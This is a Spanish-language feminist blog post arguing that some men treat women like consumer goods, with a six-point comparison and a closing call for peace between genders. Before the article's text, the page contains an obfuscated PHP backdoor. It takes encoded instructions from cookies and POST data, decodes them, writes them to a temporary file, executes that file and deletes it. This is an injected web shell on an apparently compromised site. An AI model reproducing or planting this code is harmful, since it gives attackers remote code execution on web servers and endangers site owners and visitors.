$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> ¿Qué tanto se parecen las mujeres a un bien de consumo? – www.interferencechannel.com

¿Qué tanto se parecen las mujeres a un bien de consumo?

En mi trasegar como feminista me veo frente a lo que mi pensamiento me dice que debería ser y lo que sucede en realidad. Este ejercicio es un acto odioso pero necesario y hace parte de mí, soy más bien mala para decirme mentiras y creo que entre más pronto reconozcamos la realidad de una circunstancia desfavorable más pronto se puede transformar.

En cierta conversación que sostuve con increíbles mujeres evidenciábamos esa realidad de ser vistas como objetos, como elementos de uso, y discutíamos sobre cómo esa imagen de personas que todos debiéramos tener se desdibuja. En ese momento empecé a pensar en cómo se conciben los objetos e indirectamente los relacioné con cómo nos ve la sociedad y encontré crudas similitudes.

En ese momento hice una lista mental de características sobre la percepción de un objeto y el resultado fue a grandes rasgos este:

  • Un objeto inicia un ciclo de creación, duración y desuso. O tiene una fecha de vencimiento.
  • Un objeto debe tener una presentación agradable para ser atractivo al mercado.
  • Un objeto se compra
  • Un objeto es una herramienta que usas para resolver problemas en el quehacer diario y que simplifica tareas dispendiosas. Por ejemplo, un automóvil simplificó el problema del transporte personal y disminuyó en el hombre posibles cargos de conciencia por maltrato a los animales de carga.
  • Cuando un objeto no sirve lo botas.
  • Cuando un objeto es de lujo, lo exhibes para ganar status.

Los que son amigos de las deducciones rápidas habrán relacionado cada una de las anteriores frases al concepto de mujer que se tiene en la sociedad y quizá consideren obvios los planteamientos a continuación, pero algunos somos amigos de la lectura y las narraciones. Para ellos compararé cada una de las cinco frases anteriores.

  1. Este fue el punto en el que más me costó encontrar concordancia, pero pensé en ese tipo de personajes que nos ven como un juguete sexual más y que cree que nuestra vida útil ronda los 50 años en promedio.
  2. Como todo, esto no es una generalización. Pero para los hombres que piensan en las mujeres como objetos la norma es que una mujer esté “arreglada” (algunas feministas pensamos que solo se arregla lo que está dañado y andamos “al natural”, pero esto hace parte de otra charla); que esté bonita, maquillada, con el pelo planchado, con tacones de 12 o 20 cm, ropa corta y/o estrecha y que huela bonito. Debe no estar gorda y tener buenas proporciones. Ya listo esto pasamos al siguiente punto.
  3. Antes de hablar al respecto hago la salvedad de que esto que menciono no es una estigmatización hacia las mujeres en exclusiva, sino un modo en que algunos seres humanos denotan desprecio hacia otros, haciendo de ellos una mercancía en modalidades como la esclavitud laboral o sexual. Pero además de un delito sí. Hay hombres que nos compran. Están desde los que compran algo de nuestra gentileza o incluso de nuestra complicidad, lo cual no siempre es malo, pero nunca han faltado los que quieren comprar nuestra voluntad, nuestra libertad y nuestra dignidad.
  4. Por sobre todo, un objeto se utiliza. Y cuando usamos un objeto descartamos cualquier conexión emocional. Solo lo usamos. Volviendo a los hombres que nos ven como objetos mostraré tres ámbitos frecuentes de uso, empecemos por el uso emocional; es frecuente en ciertas relaciones de pareja que un tipo esté contigo para salir de sus problemas y cuando ya están resueltos y “ya no le sirves”, y te dicen chao. Esto es, además, maltrato sicológico. Los demás ámbitos son algo más frecuentes: el sexual y el doméstico. En el sexual el hombre solo te usa para satisfacer tus necesidades sexuales y en el doméstico, algunos hombres que no logran depender de sí mismos para hacerse cargo de su vida perpetúan un imaginario errado de la mujer en un hogar, lo que asombra es la escasa empatía sobre nuestro papel en la vida de los hombres que nos usan.
  5. Como consecuencia de lo anteriormente mencionado, cuando “no sirves” te botan o te dejan de usar. Para los más indolentes quizá no haya nada de malo, pero en el fondo es un comportamiento que no solo es violento sino denigrante. Y antes de ser tachada de rencorosa feminazi especifico que manipular o reirse de los sentimientos que desarrolle cualquier persona es violento pues es un acto de crueldad. Y es también denigrante porque quitas ese reconocimiento humano que merece el otro. Ese tipo de comportamientos emite el mensaje de que lo que sientes no importa porque para mí eres menos persona.
  6. Claro, puede que la belleza esté a tu favor, puede que como mujer pienses que todos te admiran, que a todos los tienes a tus pies, pero si caes en las manos de algún individuo cosificador te admirará en grupo, ante sus amigos, te tratará como su trofeo, pero de una persona de estas no se puede esperar lealtad ni empatía hacia ti.

Reitero que lo anteriormente descrito no es una generalización. No es decir que todos son iguales y que somos las pobres víctimas de esos despiadados enemigos que resultan ser los hombres. Creo en un feminismo que no puede asentarse en un odio al otro género porque entiende que la finalidad de este movimiento es construir una sociedad equitativa. Además vivo en un país que lucha cada día por hacer la paz, y la que puedo promover es esta, la paz entre géneros, la paz entre tú y yo. Te invito a que hagamos la paz juntos.

Paola Rubiano.

Comments are closed.